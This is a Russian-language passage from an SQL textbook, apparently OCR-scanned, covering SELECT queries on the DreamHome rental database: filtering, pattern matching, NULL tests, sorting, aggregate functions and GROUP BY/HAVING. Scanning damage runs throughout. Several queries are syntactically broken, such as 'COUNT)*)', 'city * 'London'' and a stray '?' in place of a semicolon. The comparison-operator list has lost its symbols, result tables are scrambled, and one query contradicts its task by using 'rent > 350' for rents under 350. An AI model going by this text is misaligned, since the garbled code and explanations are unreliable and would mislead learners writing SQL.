Ввиду сложности оператора SELECT и относительной простоты остальных DML- операторов, большая часть данного раздела посвящена обсуждению возможностей оператора SELECT и его различных форматов. Начнем мы с рассмотрения самых простых запросов, затем перейдем к более сложным вариантам выборки данных, использующим функции сортировки, группирования, обобщения, а также выполнения запроса к нескольким таблицам. В конце данного раздела мы обсудим SQL-операгоры INSERT, UPDATE и DELETE.
Для построения примеров SQL-операторов используется контекст учебного приложения DreamHome, содержимое таблиц которого представлено в табл. 3.3-3.8. В базе данных приложения DreamHome имеются следующие таблицы:
Branch(Bno, Street, Area, City, Pcode, Tel_No, Fax_No)
Staff(Sno, FName, LName, Address, Tel_No, Position, Sex, DOB,
Salary, NIN, Bno)
Property_for_Rent (Pno, Street, Area, City, Pcode, Type, Rooms, Rent, Ono, Sno, Bno)
Renter(Rno, FName, LName, Address, Tel_No, Pref_Type,
Max^Rent, Bno)
Owner(Ono, FName, LName, Address, Tel_No)
Viewing(Rno, Pno, Date, Comment)
Литералы
Прежде чем приступить к обсуждению DML-операторов, необходимо выяснить, что означает такое понятие, как “литерал”. Литералы представляют собой константы, которые используются в SQL-операторах. Существуют различные формы литералов для каждого типа данных, которые поддерживаются SQL (раздел 13.4.2). Однако мы не станем углубляться в детали и укажем лишь различия между литералами, которые следует заключать в одинарные кавычки, и теми, которые не следует. Все нецифровые значения данных всегда должны заключаться в одинарные кавычки. Вот пример использования литералов при помещении данных в таблицу:
INSERT INTO property_for_rent(pno, street, area, city, pcode, type, rooms, rent, ono, sno, bno)
VALUES ('PA14', '16 Holhead', 'Dee', 'Aberdeen', 'AB7 5SU', 'House', 6,
650.00, 'CO46', 'SA9', 'B7');'
Значение столбца Rooms является литералом целого типа, а значение столбца Rent — это десятичный цифровой литерал. Ни один из них не должен заключаться в одинарные кавычки. Значения всех остальных столбцов представляют собой символьные строки и обязательно должны быть взяты в одинарные кавычки.
Простые запросы
Назначение оператора SELECT состоит в выборке и отображении данных одной или более таблиц базы данных. Это исключительно мощный оператор, способный выполнять действия, эквивалентные операторам реляционной алгебры selection, projection и join (см. раздел 3.4.1), причем в пределах единственной выполняемой команды. Оператор SELECT является чаще всего используемой командой языка SQL. Общий формат оператора SELECT имеет следующий вид:
SELECT [DISTINCT | ALL] {* | [colитп_expression [AS new_name] ] [,...]}
FROM table_name [alias] [,...]
[WHERE condition]
[GROUP BY column_list] [HAVING condition]
[ORDER BY column_list]
Здесь параметр colшпп_expression представляет собой имя столбца или выражение из нескольких имен. Параметр tabiе_пате является именем существующих в базе данных таблицы или представления, к которым необходимо получить доступ. Необязательный параметр alias — это сокращение, устанавливаемое для имени таблицы table_name. Обработка элементов оператора SELECT выполняется в следующей последовательности.
FROMОпределяются имена используемой таблицы или нескольких таблиц
WHERE Выполняется фильтрация строк объекта в соответствии с заданными условиями
GROUP BY Образуются группы строк, имеющих одно и то же значение в указанном столбце
HAVING Фильтруются группы строк объекта в соответствии с указанным условием
SELECT Устанавливается, какие столбцы должны присутствовать в выходных данных
ORDER BY Определяется упорядоченность результатов выполнения оператора
Порядок предложений и фраз в операторе SELECT не может быть изменен. Только два предложения оператора — SELECT и FROM — являются обязательными, все остальные предложения и фразы могут быть опущены. Операция SELECT является закрытой: результат запроса к таблице представляет собой другую таблицу (см. раздел 3.4.1). Существует множество вариантов записи данного оператора, что иллюстрируется приведенными ниже примерами.
Выборка всех строк
Пример 13.1. Выборка всех столбцов и всех строк ■
Составьте список детальных сведений о каждом из работников.
Поскольку в приведенном выше запросе не указаны никакие ограничения, помещать в оператор предложение WHERE не требуется. Кроме того, необходимо выбрать все существующие в таблице столбцы. Поэтому данный запрос записывается следующим образом:
SELECT sno, fname, Iname, address, tel_no, position, sex, dob, salary, nin, bno FROM staff;
Поскольку выборка всех имеющихся в таблице столбцов выполнятся достаточно часто, в языке SQL определен упрощенный вариант записи значения “все столбцы” — вместо имен столбцов указывается символ звездочки (*). Приведенный ниже оператор полностью эквивалентен первому и представляет собой упрощенный вариант записи того же самого запроса: SELECT * FROM staff?
Результат выполнения этого запроса представлен в табл. 13.1.
Таблица 13.1. Результат выполнения запроса из примера 13.1
sno fname Iname
address tel.no position sex dob salary ninbno
SL21 John White
19 Taylor0171-Manager M1-Oct-30000.WK4420B5
St,884-450011B
Cranford,5112
London
SG37 AnnBeech
81 George0141-Snr Asst F10-12000.WL43251 B3
St,848-Nov-60004C
Glasgow 3345
PA1 2JR
SG14 David Ford
63 Ashby0141- Deputy M24-18000.W122065 B3
St, Partick, 339-Mar-58 008D
Glasgow2177
GII
SA9 Mary Howe
2 Bm PI,Assistant F19-9000.0 WM5321 B7
AberdeenFeb-70 087D
AB2 3SU
SG5 Susan Brand
5 Gt0141-Manager F3-Jun-24000.WK5889B3
Western334-400032E
Rd,2001
Glasgow
G12
SL41 Julie Lee
28 Malvern 0181- Assistant F13-9000.0 WA29057 B5
St, London 554-Jun-65 03K
NW23541
(6 строк)
■ Пример 13.2•'
Создайте отчет о заработной плате всех работников с указанием только табельного номер работника (Sno), его имени и фамилии, а также сведений о зар- < плате.,
: SELECT sno, fname, Iname, salary ' FROM staff;
i В этом примере на основе таблицы Staff создается новая таблица, включающая ; только указанные в запросе столбцы Sno, FName, LName и Salary, причем именно в - х этом порядке. Результат выполнения данного запроса приведен в табл. 13.2.;
Таблица 13.2. Результат выполнения запроса из примера 13.2
sno
fname
Iname
salary
SL21
John
White
30000.00
SG37
Ann
Beech
12000.00
SG14
David
Ford
18000.00
SA9
Mary
Howe
9000.00
SG5
Susan
Brand
24000.00
SL41
Julie
Lee
9000.00
(6 строк)'
Пример 13.3. Использование ключевого слова DISTINCT
Составьте список номеров всех сдаваемых в аренду объектов, осмотренных клиентами.
SELECT рпо
FROM viewing;
Результат выполнения этого запроса представлен в табл. 13.3.
Таблица 13.3. Результат выполнения запроса с сохранением дублирующихся значений из примера 13.3
рпо
РД14PG4-PG4
РА14 PG36
(5 строк)
Обратите внимание, что результат выполнения запроса содержит дублирующиеся значения, поскольку, в отличие от операции реляционной алгебры projection, one: ратор SELECT не исключает дублирующихся значений при выполнении проекции одного или нескольких столбцов. Для удаления из результирующей таблицы дублирующихся строк используется ключевое слово DISTINCT. Откорректированный запрос выглядит следующим образом: SELECT DISTINCT рпо FROM viewing;
Результаты выполнения второго варианта запроса представлены в табл. 13.4.
Таблица 13.4. Результат выполнения запроса с исключением дублирующихся значений из примера 13.3
рпо
PG4
PG36
(3 строки)
Пример 13.4. Вычисляемые поля
Создайте отчет о ежемесячной зарплате всего персонала с указанием табельного номера, имени, фамилии и суммы зарплаты.
SELECT sno, fname, Iname, salary/12
FROM staff;
Этот запрос почти идентичен запросу из примера 13.2» за исключением того» что здесь требуется указать сумму не годовой, а ежемесячной зарплаты. В данном случае желаемый результат может быть достигнут простым делением суммы зарплаты за год на 12. Результаты выполнения запроса представлены в табл. 13.5.
Таблица 13.5. Результат выполнения запроса из примера 13.4
sno
fname
iname
co!4
8121
Jotm
White
2500.00
SG37
Ann
Beech
1000.00
SG14
David
Ford
1500.00
SA9
Mary
Howe
750.00
SG5
Susan
Brand
2000.00
SL41
Julie
Lee
750.00
(6 строк)
Это пример использования в запросе вычисляемого поля (иногда эти поля называют производными). В общем случае для создания вычисляемого поля в списке SELECT следует указать некоторое выражение языка SQL. В этих выражениях могут применяться операции сложения, вычитания, умножения и деления. При построении сложных выражений могут использоваться скобки. Для получения значения вычисляемого поля могут использоваться значения из нескольких столбцов таблицы, однако тип данных тех столбцов< которые входят в арифметические выражения, обязательно должен быть цифровым.
SELECT sno, fname, Iname, salагу/12 AS monthly_salary
FROM staff;
В таблице, полученной в результате выполнения запроса, четвертый столбец называется COI4. Обычно столбцам результирующей таблицы присваиваются имена соответствующих им столбцов исходных таблиц базы данных. Однако в данном случае это правило неприменимо. В одних диалектах языка SQL имена таким столбцам присваивают в соответствии с порядком их расположения в таблице (например, СО/4), в других диалектах у подобного столбца имя может вовсе отсутствовать или вместо него может использоваться выражение, помещенное в список SELECT. Стандарт ISO позволяет явным образом задавать имена столбцов результирующей таблицы, для чего применяется фраза AS. При использовании этой фразы приведенный выше оператор SELECT может быть переписан следующим образом: SELECT sno, fname, Iname, salary/12 AS monthly_salary
FROM staff
В этом случае четвертый столбец результирующей таблицы будет называться month ly_s alary, а не со/4.
Выбор строк (предложение WHERE)
В приведенных выше примерах в результате выполнения операторов SELECT выбирались все строки указанной таблицы. Однако очень часто требуется тем или иным образом ограничить набор строк, помещаемых в результирующую таблицу запроса. Это достигается с помощью указания в запросе предложения WHERE. Оно состоит из ключевого слова WHERE, за которым следует перечень условий поиска, определяющих те строки, которые должны быть выбраны при выполнении запроса. Существует пять основных типов условий поиска (или предикатов, если пользоваться терминологией ISO).
Сравнение. Сравниваются результаты вычисления одного выражения с результатами вычисления другого выражения.
Диапазон. Проверяется, попадает ли результат вычисления выражения в заданный диапазон значений.
Принадлежность к множеству. Проверяется, принадлежит ли результат вычисления выражения к заданному множеству значений.
Соответствие шаблону. Проверяется, отвечает ли некоторое строковое значение заданному шаблону.
Значение NULL. Проверяется, содержит ли данный столбец определитель NULL (неизвестное значение).
Рассмотрим примеры использования всех указанных типов условий поиска.
. Пример 13.5. Сравнение условий поиска
Перечислите весь персонал с размером заработной платы больше 10 000 фунтов . стерлингов в год.
SELECT sno, fname, Iname, position, salary
FROM staff
WHERE salary > 10000;
В этом запросе используется таблица Staff и предикат salary > 10000. При выполнении запроса будет создана новая таблица, содержащая только те строки таблицы Staff, в которых значение столбца salary больше 10 000 фунтов стерлингов. Результаты выполнения запроса представлены в табл. 13.6.
Таблица 13.6. Результат выполнения запроса из примера 13.5
snofnameInamepositionsalary
SL21
John
White
Manager
30000.00
SG37
Ann
Beech
Snr Asst
12000.00
SG14
David
Ford
Deputy
18000.00
SG5
Susan
Brand
Manager
24000.00
(4 строки)
В языке SQL можно использовать следующие операторы сравнения:
=равенство
меньше
больше
=меньше или равно
=больше или равно
>не равно (стандарт ISO)
=не равно (используется в некоторых диалектах)
Более сложные предикаты могут быть построены с помощью логических операторов AND, OR или NOT, а также с помощью скобок, используемых для определения порядка вычисления выражения (если это необходимо или желательно). Вычисление выражений в условиях выполняется по следующим правилам.
Выражение вычисляется слева направо.
Первыми вычисляются подвыражения в скобках.
Операторы NOT выполняются до выполнения операторов AND и ОН.
Операторы AND выполняются до выполнения операторов ОН.
Для устранения любой возможной неоднозначности рекомендуется использовать скобки.
Пример 13.6. Сложные условия поиска
Перечислите адреса всех отделений компании в Лондоне и Глазго.
SELECT bno, street, area, city, pcode FROM branch
WHERE city * 'London' OR city = 'Glasgow';
В этом примере для выборки сведений об отделениях компании в Лондоне и Глазго в предложении WHERE используется логический оператор OR: city = 'London' или city = 'Glasgow'. Результаты выполнения запроса представлены в табл. 13.7.
Таблица 13.7. Результат выполнения запроса из примера 13.6
bno
street
area
city
pcode
85
22 Deer Rd
Sidcup
London
SW1 4EH
83
163 Main St
Partick
Glasgow
G11 9QX
82
56 Clover Dr
London
NW10 6EU
(3 строки)
Пример 13.7. Использование диапазонов (BETWEEN/NOT BETWEEN) в условиях поиска■.
Перечислите весь персонал с годовой зарплатой от 20 000 до 130 000 фунтов стерлингов.
SELECT sno, fname, Iname, position, salary
FROM staff
WHERE salary BETWEEN 20000 AND 30000;
Наличие ключевого слова BETWEEN требует задания границ диапазона значений. В данном случае результаты проверки будут положительными для всех работников компании с годовой заработной платой от 20 000 до 30 000 фунтов стерлингов. Результаты выполнения запроса представлены в табл. 13.8.
Таблица 13.8. Результат выполнения запроса из примера 13.7
sno
fname
Iname
position
salary
SL21
John
White
Manager
30000.00
SG5
Susan
Brand
Manager
24000.00
(2 строки)
Имеется и негативная версия проверки диапазона значений (NOT BETWEEN). В этом случае требуется, чтобы проверяемое значение лежало вне границ заданного диапазона. Наличие ключевого слова BETWEEN и соответствующей проверки лишь незначительно повышает выразительную мощность языка SQL, поскольку те же самые результаты могут быть достигнуты с помощью выполнения двух обычных проверок. Приведенный выше запрос можно переписать следующим образом:
SELECT sno, fname, Iname, position, salary FROM staff
WHERE salary > = 20000 AND salary < = 30000;
Однако многие полагают, что проверка вхождения в диапазон с помощью ключевого слова BETWEEN является более простым способом записи условий выборки, чем обычные проверки.
Пример 13.8. Условия поиска с проверкой вхождения вомножество (IN/NOT IN)"'~“
Составьте список всех руководителей и их заместителей.
SELECT sno, fname, Iname, position FROM staff
; WHERE position IN ('Manager', 'Deputy');
Проверка вхождения результата вычисления выражения в заданное множество организуется с помощью ключевого слова IN. При этом проверяется, соответствует ли результат вычисления выражения одному из значений в предоставленном списке — в нашем случае это строки 'Manager' и 'Deputy'. Результаты выполнения за* проса представлены в табл. 13.9.
Таблица 13.9. Результат выполнения запроса из примера 13.8
sno
fname
Iname
position
SL21
John
White
Manager
SG14
David
Ford
Deputy
SG5
Susan
Brand
Manager
(3 строки).
Существует и отрицательная версия этой проверки (NOT IN), которая используется для отбора любых значений, кроме тех, которые указаны в представленном списке. Как и в случае ключевого слова BETWEEN, условие IN незначительно повышает выразительную мощность языка SQL — тот же самый запрос может быть переписан следующим образом: SELECT sno, fname, Iname, position FROM staff
WHERE position = 'Manager' OR position = 'Deputy';
Однако использование ключевого слова IN представляет собой более эффективный способ записи условий поиска, особенно если набор допустимых значений достаточно велик.
Пример 13.9. Условия поиска с указанием шаблонов (LIKE/NOT LIKE)
Найдите всех работников, проживающих в городе Глазго.
При выполнении данного запроса необходимо организовать поиск строки 'Glasgow', которая может располагаться в любом месте значений колонки Address таблицы Staff. В языке SQL существует два специальных символа шаблона, используемых при проверке символьных значений.
% Символ процента представляет любую последовательность из нуля или более символов.
_ Символ подчеркивания представляет любой одиночный символ.
Все остальные символы в шаблоне представляют сами себя. Например:
Address LIKE 'Н%' — этот шаблон означает, что первый символ значения обязательно должен быть символом Н, а все остальные символы не представляют интереса и не проверяются;
Address LIKE 'Н1 — этот шаблон означает, что значение должно иметь длину, равную строго четырем символам, причем первым символом обязательно должен быть символ 'Н';
Address LIKE Че' —' этот шаблон определяет любую последовательность символов длинной не менее одного символа, причем последним символом обязательно должен быть символ е;
Address LIKE '%Glasgow%' — этот шаблон означает, что нас интересует любая последовательность символов, включающая подстроку Glasgow;
Address NOT LIKE 'HV — этот шаблон указывает, что требуются любые строки, которые не начинаются с символа И.
Если требуемая строка должна включать также служебный символ, используемый в качестве символа подстановки, то следует применить некоторый “escape”- символ, поместив его перед символом подстановки. Например, для проверки значений на соответствие строке '15%' можно воспользоваться таким предикатом:
LIKE '15iV ESCAPE 'Г
С помощью механизма поиска по шаблону, существующего в языке SQL, совсем нетрудно выделить весь персонал компании, проживающий в городе Глазго. Для этого достаточно выполнить следующий запрос:
SELECT sno, fname, Iname, address, salary FROM staff
WHERE address LIKE '%Glasgow%';
Результаты выполнения этого запроса представлены в табл. 13.10.
Таблица 13.10. Результат выполнения запроса из примера 13.9
sno
fname
Iname
address
salary
SG37
Ann
Beech
81 George St, Glasgow PA1 2JR
12000.00
SG14
David
Ford
63 Ashby St, Partick, Glasgow G11
18000.00
SG5
Susan
Brand
5 Gt Western Rd, Glasgow G12
24000.00
(3 строки)
Пример 13.10. Использование значения NULL в условиях поиска (IS NULL/NOT NULL)
Составьте список всех посещений сдаваемого в аренду объекта с номером PG4, по которым не было предоставлено комментариев.
Просматривая таблицу Viewing (см. табл. 3.8), можно заметить, что в ней есть сведения о двух осмотрах сдаваемого в аренду объекта с учетным номером 'PG4', причем по одному из них комментарии представлены, а по другому — нет. На основании этого простого примера можно прийти к заключению, что вторую из этих записей можно выбрать с помощью одного из следующих условий поиска:
(pno * 'PG4' AND comment = ' ') или (pno = 'PG4' AND comment < > 'too remote')
Однако оба этих решения ошибочны. Отсутствующий комментарий (значение NULL) рассматривается как неизвестное значение, поэтому его нельзя сравнить на равенство или неравенство с другой строкой. Если попробовать выполнить запрос с любым из приведенных выше условий поиска, то результирующая таблица окажется пустой. Правильное решение состоит в явной проверке на наличие пустого значения, для чего используется специальное ключевое слово IS NULL:
SELECT rnof date
FROM viewing
WHERE pno = 'PG4' AND comment IS NULL;
Результаты выполнения запроса представлены в табл. 13.11.
Таблица 13.11. Результат выполнения запроса из примера 13.10
rnodate
CR5626-Мау-98
(1 строка)
Отрицательная версия данного условия поиска (IS NOT NULL) может использоваться для проверки присутствия значения в столбце.
Сортировка результатов (фраза ORDER BY)
В общем случае строки в результирующей таблице SQL-запроса не упорядочены каким-либо определенным образом. Однако их можно требуемым образом отсортировать, для чего в оператор SELECT помещается фраза ORDER BY. Фраза ORDER BY включает список разделенных запятыми идентификаторов столбцов, по которым требуется упорядочить результирующую таблицу запроса. Идентификатор столбца может представлять собой либо его имя, либо номер2, который идентифицирует элемент списка SELECT его позицией в этом списке. Самый левый элемент списка имеет номер 1, следующий — номер 2 и т.д. Номера столбцов могут использоваться в тех случаях, когда столбцы, по которым следует упорядочить результат, являются вычисляемыми, а фраза AS с указанием имени :н эго столбца в операторе SELECT отсутствует. Фраза ORDER BY позволяет упорядочить в /бранные записи в порядке возрастания (ASC) или убывания (DESC) значений любого столбца или комбинации столбцов, независимо от того, присутствуют эти столбцы в таблице результатов или нет. Однако в некоторых диалектах требуется, чтобы фраза ORDER BY обязательно присутствовала в списке выборки оператора SELECT. В любом случае фраза ORDER BY всегда должна быть последним элементом в операторе SELECT.
Пример 13.11. Сортировка по значениям одного столбца
Составьте отчет о зарплате всех работников компании, расположив строки в порядке убывания суммы зарплаты.
SELECT sno, fnamef Iname, salary
FROM staff
ORDER BY salary DESC;
2 Номера столбцов являются функцией, отвергнутой стандартом ISO, и по этой причине ее не рекомендуется использовать. — Прим. ред.
Этот пример подобен примеру 13.2. Различие состоит лишь в том, что полученные в результате выполнения запроса данные следует упорядочить по убыванию значения заработной платы. Это достигается посредством помещения в конец оператора SELECT фразы ORDER BY, задающей сортировку результирующей таблицы по убыванию значений в столбце Salary. Результаты выполнения запроса представлены в табл. 13.12.
Таблица 13.12. Результат выполнения запроса из примера 13.11
snofnameInamesalary
SL21
John
White
30000.00
SG5
Susan
Brand
24000.00
SG14
David
Ford
18000.00
SG37
Ann
Beech
12000.00
SA9
Mary
Howe
9000.00
SL41
Julie
Lee
9000.00
(6 строк)
Напомним, что фраза ORDER BY может быть записана и в следующем виде: ORDER BY 4 DESC. Здесь четверка означает использование четвертого столбца в списке выборки, т.е. столбца Salary.
Во фразе ORDER BY может быть указано и больше одного элемента. Главный ключ сортировки определяет общую упорядоченность строк результирующей таблицы. В предыдущем примере главным ключом сортировки является столбец Salary. Если значения главного ключа сортировки во всех строках результирующей таблицы являются уникальными, нет необходимости использовать дополнительные ключи сортировки. Однако, если значения главного ключа не уникальны, в результирующей таблице будет присутствовать несколько строк с одним и тем же значением старшего ключа сортировки. В этом случае может оказаться желательным упорядочить строки с одним и тем же значением главного ключа по какому-либо дополнительному ключу сортировки. Если во фразе ORDER BY присутствуют второй и последующие элементы, то такие элементы называют младшими ключами сортировки.
Пример 13.12. Сортировка по нескольким столбцам
Подготовьте сокращенный список сдаваемых в аренду объектов, упорядоченный по их типу.
SELECT pno, type, rooms, rent
FROM property for rent
ORDER BY type;
Для этого запроса будет создана результирующая таблица, представленная в табл. 13.13.
Таблица 13.13. Результат выполнения запроса из примера 13.12
(с сортировкой по одному столбцу)
pno
type
rooms
rent
PL94
Rat
4
400
PG4
Rat
3
350
PG36
Rat
3
375
PG16
Rat
4
450
PA14
House
6
650
PG21
House
5
600
’ (6 строк)
В полученных результатах присутствуют сведения о четырех квартирах. Если не указать младшего ключа сортировки, система расположит эти строки в произвольном порядке. Для того чтобы упорядочить их, например, в порядке убывания арендной платы, следует дополнительно указать младший ключ сортировки:
SELECT pno, type, rooms, rent
FROM property_for_rent
ORDER BY type, rent DESC;
Теперь результат выполнения запроса будет упорядочен вначале по типу сдаваемого в аренду объекта (по убыванию, в алфавитном порядке), а в пределах одного типа объекта — в порядке убывания значения арендной платы. Результаты выполнения нового варианта запроса представлены в табл. 13.14.
Таблица 13.14. Результат выполнения запроса из примера 13.12
(с сортировкой по двум столбцам)
pno
type
rooms
rent
PG16
Flat
4
450
PL94
Flat
4
400
PG36
Flat
3
375
PG4
Flat
3
350
РА14
House
6
650
PG21
House
5
600
(6 строк)
Стандарт ISO требует, чтобы значения NULL воспринимались системой либо как меньшие любого конкретного значения, либо как большие любого из них. Выбор оставлен на усмотрение разработчиков СУБД.
Использование обобщающих функций языка SQL
Стандарт ISO содержит определение следующих пяти обобщающих функций.
COUNTВозвращает количество значений в указанном столбце
SUMВозвращает сумму значений в указанном столбце
AVGВозвращает усредненное значение в указанном столбце
MINВозвращает минимальное значение в указанном столбце
МАХВозвращает максимальное значение в указанном столбце
Все эти функции оперируют со значениями в единственном столбце таблицы и возвращают единственное значение. Функции COUNT, MIN и МАХ применимы как к числовым, так и к нечисловым полям, тогда как функции SUM и AVG могут использоваться только в случае числовых полей. За исключением COUNT(*), при вычислении результатов любых функции сначала исключаются все пустые значения, после чего требуемая операция применяется только к оставшимся конкретным значениям столбца. Вариант COUNT(*) является особым случаем использования функции COUNT — его назначение состоит в подсчете всех строк в результирующей таблице, независимо от того, содержатся там пустые, дублирующиеся или любые другие значения.
Если до применения обобщающей функции необходимо исключить дублирующиеся значения, следует перед именем столбца в определении функции поместить ключевое слово DISTINCT. Стандарт ISO допускает использование ключевого слова ALL с целью явного указания того, что исключение дублирующихся значений не требуется, хотя это ключевое слово подразумевается по умолчанию, если никакие иные определители не заданы. Ключевое слово DISTINCT не имеет смысла для функций MIN и МАХ. Однако его использование может оказывать эффект на результаты выполнения функций SUM и AVG, поэтому следует заранее обдумать, должно ли оно присутствовать в каждом конкретном случае. Кроме того, ключевое слово DISTINCT в каждом запросе может быть указано не более одного раза.
Очень важно отметить, что обобщающие функции могут использоваться только в списке предложения SELECT и в составе предложения HAVING (раздел 13.3.4). Во всех других случаях использование этих функций недопустимо. Если список в предложении SELECT содержит обобщающие функции, а в тексте запроса отсутствует фраза GROUP BY, обеспечивающая объединение данных в группы (раздел 13.3.4), то ни один из элементов списка предложения SELECT не может включать каких-либо ссылок на колонки, за исключением случая, когда эта колонка используется как аргумент обобщающей функции. Например, следующий запрос является некорректным:
SELECT sno, COUNT(salary)
FROM staff;
Ошибка состоит в том, что в данном запросе отсутствует фраза GROUP BY, а обращение к колонке Sno в предложении SELECT выполняется без применения обобщающей функции.
: Пример 13.13. Использование функции Count(*)
Определите, сколько сдаваемых в аренду объектов имеют ставку арендной пла- , ты менее 350 фунтов стерлингов в месяц.
: SELECT COUNT)*) AS count
: FROM property_for_rent : WHERE rent > 350;
Ограничение на подсчет только тех сдаваемых в аренду объектов, арендная плата \ которых составляет менее 350 фунтов стерлингов в месяц, реализуется посредством использования предложения WHERE. Общее количество сдаваемых в аренду объектов, отвечающих указанному условию, может быть определено с помощью обобщающей функции COUNT. Результаты выполнения запроса представлены в
: табл.13.15.
Таблица 13.15. Результат выполнения запроса из примера 13.13
count
(1 строка)
Пример 13.14. Использование функции COUNT (DISTINCT)
Определите, сколько различных сдаваемых в аренду объектов было осмотрено клиентами в мае 1998 года.
SELECT COUNT(DISTINCT pno) AS count
FROM viewing
WHERE date BETWEEN 'l-May-98' AND '31-May-98';
И в этом случае ограничение результатов запроса анализом только тех сдаваемых * в аренду объектов, которые были осмотрены в мае 1998 года, достигается посред- * ством использования предложения WHERE. Общее количество осмотренных объек- ( тов, удовлетворяющих указанному условию, может быть определено с помощью 1 обобщающей функции COUNT. Однако, поскольку один и тот же объект может быть » осмотрен различными клиентами несколько раз, необходимо в определении функ- * ции указать ключевое слово DISTINCT — это позволит исключить из расчета дубли- ; рующиеся значения. Результаты выполнения запроса представлены в табл. 13.16. {
Таблица 13.16. Результат выполнения запроса из примера 13.14
*count
(1 строка)
Пример 13.15. Использование функций COUNT и SUM
Определите общее количество менеджеров компании и вычислите сумму их года- $ вой зарплаты.'
SELECT COUNT(sno) AS count, SUM(salary) AS sum'
FROM staff WHERE position = 'Manager1; Ограничение на отбор сведений только о менеджерах компании достигается указанием в запросе соответствующего предложения WHERE. Общее количество менеджеров и сумма их годовой заработной платы определяются путем применения к результирующей таблице запроса обобщающих функций COUNT и SUM соответственно. Результаты выполнения запроса представлены в табл. 13.17.
Таблица 13.17. Результат выполнения запроса из примера 13.15
countsum
(1 строка)
Пример 13.16. Использование функций Min, Мах и AVG
Вычислите значение минимальной, максимальной и средней заработной платы» SELECT MIN(salary) AS min, MAX(salary) AS max, AVG(salary) AS avg FROM staff;
В этом примере необходимо обработать сведения обо всем персонале компании, поэтому использовать предложение WHERE излишне. Требуемые значения могут быть вычислены с помощью функций MIN, МАХ и AVG, применяемых к столбцу Salary таблицы Staff. Результаты выполнения запроса представлены в табл. 13.18.
Таблица 13.18. Результат выполнения запроса из примера 13.16
min
max
avg
9000.00
30000.00
17000.00
(1 строка)
Группирование результатов (фраза Group By)
Приведенные выше примеры сводных данных подобны итоговым строкам, обычно размещаемым в конце отчетов. В итогах все детальные данные отчета сжимаются в одну обобщающую строку. Однако очень часто в отчетах требуется формировать и промежуточные итоги. Для этой цели в операторе SELECT может указываться фраза GROUP BY. Запрос, в котором присутствует фраза GROUP BY, называется группирующим запросом, поскольку в нем группируются данные, полученные в результате выполнения операции SELECT, после чего для каждой отдельной группы создается единственная суммарная строка. Столбцы, перечисленные во фразе GROUP BY, называются группируемыми столбцами. Стандарт ISO требует, чтобы предложение SELECT и фраза GROUP BY были тесно связаны между собой. При использовании в операторе SELECT фразы GROUP BY каждый элемент списка в предложении SELECT должен иметь единственное значение для всей группы. Более того, предложение SELECT может включать только следующие типы элементов:
имена столбцов;
обобщающие функции;
константы;
выражения, включающие комбинации перечисленных выше элементов.
Все имена столбцов, приведенные в списке предложения SELECT, должны присутствовать и во фразе GROUP BY — за исключением случаев, когда имя столбца используется в обобщающей функции. Обратное правило не является справедливым — во фразе GROUP BY могут присутствовать имена столбцов, отсутствующие в списке предложения SELECT. Если совместно с фразой GROUP BY используется предложение WHERE, то оно обрабатывается первым, а группированию подвергаются только те строки, которые удовлетворяют условию поиска.
Стандартом ISO определено, что при проведении группирования все отсутствующие значения рассматриваются как равные. Если две строки таблицы в одном и том же группируемом столбце содержат значения NULL и идентичные значения во всех остальных непустых группируемых столбцах, они помещаются в одну и ту же группу.
: Пример 13.17. Использование фразы GROUP BY
Определите количество персонала, работающего в каждом из отделений компании, а также их суммарную заработную плату.
SELECT bno, COUNT(sno) AS count, SUM(salary) AS sum
FROM staff
5 GROUP BY bno { ORDER BY bno;
i Нет необходимости включать имена столбцов Sno и Salary в список фразы GROUP BY, ' поскольку в списке предложения SELECT они используются только в обобщающих
: функциях. В то же время, столбец Впо в списке предложения SELECT не связан ни с - > какой обобщающей функцией и по этой причине обязательно должен быть указан ; во фразе GROUP BY. Результаты выполнения запроса представлены в табл. 13.19.
. Таблица 13.19. Результат выполнения запроса из примера 13.17
bno
count
sum
ВЗ
3
54000.00
В5
2
39000.00
В7
1
9000.00
(3 строки)
Концептуально, при обработке этого запроса выполняются следующие действия.
1:Строки таблицы Staff распределяются в группы в соответствии со значе
ниями в столбце номера отделения компании. В пределах каждой из групп оказываются данные обо всем персонале одного из отделений компании. В нашем примере будут созданы три группы.
bno
sno
salary
COUNT(sno)
SUM(salary)
вз
SG37
12000.00
вз
SG14
18000.00
3
54000.00
вз
SG5
24000.00
65
SL21
30000.00
65
SL41
9000.00
2
39000.00
В?
SA9
9000.00
1
9000.00
2:Для каждой
из групп вычисляется общее
количество строк,
равное количе-
ству работников отделения, а также сумма значений в столбце Salary, кото
рая и является интересующей нас суммой заработной платы всех работни
ков отделения. Затем генерируется единственная сводная строка для всей
группы исходных строк.
3:Наконец, полученные строки результирующей таблицы пересортировывают
ся в порядке возрастания номера отделения, указанного в столбце Впо.
Стандарт SQL2 допускает помещение в список предложения SELECT вложенных запросов (раздел 13.3.5). Поэтому приведенный выше запрос можно было бы переписать следующим образом:
SELECT bno, (SELECT COUNT(sno) AS count
FROM staff s
WHERE s.bno = b.bno), (SELECT SUM(salary) AS sum FROM staff s
WHERE s.bno = b.bno)
FROM branch b
ORDER BY bno;
В этой версии запроса два результата вычисления обобщающих функций создаются для каждого из отделений компании, описанных в таблице Branch, поэтому в некоторых случаях возможно появление строк, содержащих нулевые значения.
Ограничения на выполнение группирования (фраза HAVING)
Фраза Having предназначена для использования совместно с фразой GROUP BY для задания ограничений, указываемых с целью отбора тех групп, которые будут помещены в результирующую таблицу запроса. Хотя фраза Having и предложение WHERE имеют сходный синтаксис, их назначение различно. Предложение WHERE предназначено для фильтрации отдельных строк, используемых для группирования или помещаемых в результирующую таблицу запроса, тогда как фраза HAVING используется для фильтрации групп, помещаемых в результирующую таблицу запроса. Стандарт ISO требует, чтобы имена столбцов, используемые во фразе HAVING, обязательно присутствовали в списке фразы GROUP BY или применялись в обобщающих функциях. На практике условия поиска во фразе HAVING всегда включают, по меньшей мере, одну обобщающую функцию, в противном случае эти условия поиска должны быть помещены в предложение WHERE и применяться для отбора отдельных строк. (Не забывайте, что обобщающие функции не могут использоваться в предложении WHERE.)
Фраза HAVING не является необходимой частью языка SQL — любой запрос, написанный с использованием фразы HAVING, может быть представлен в ином виде, без ее применения.
Пример 13.18. Использование фразы HAVING
Для каждого отделения компании с численностью персонала более одного человека определите количество работающих и сумму их заработной платы.
SELECT bno, COUNT(sno) AS count, SUM(salary) AS sum
FROM staff
GROUP BY bno
HAVING COUNT(sno) > 1
ORDER BY bno;
Этот пример аналогичен предыдущему, но здесь используются дополнительные ограничения, указывающие на то, что нас интересуют сведения только о тех отделениях компании, в которых работает больше одного человека. Подобное требование налагается на группы, поэтому в запросе следует использовать фразу HAVING. Результаты выполнения запроса представлены в табл. 13.20.
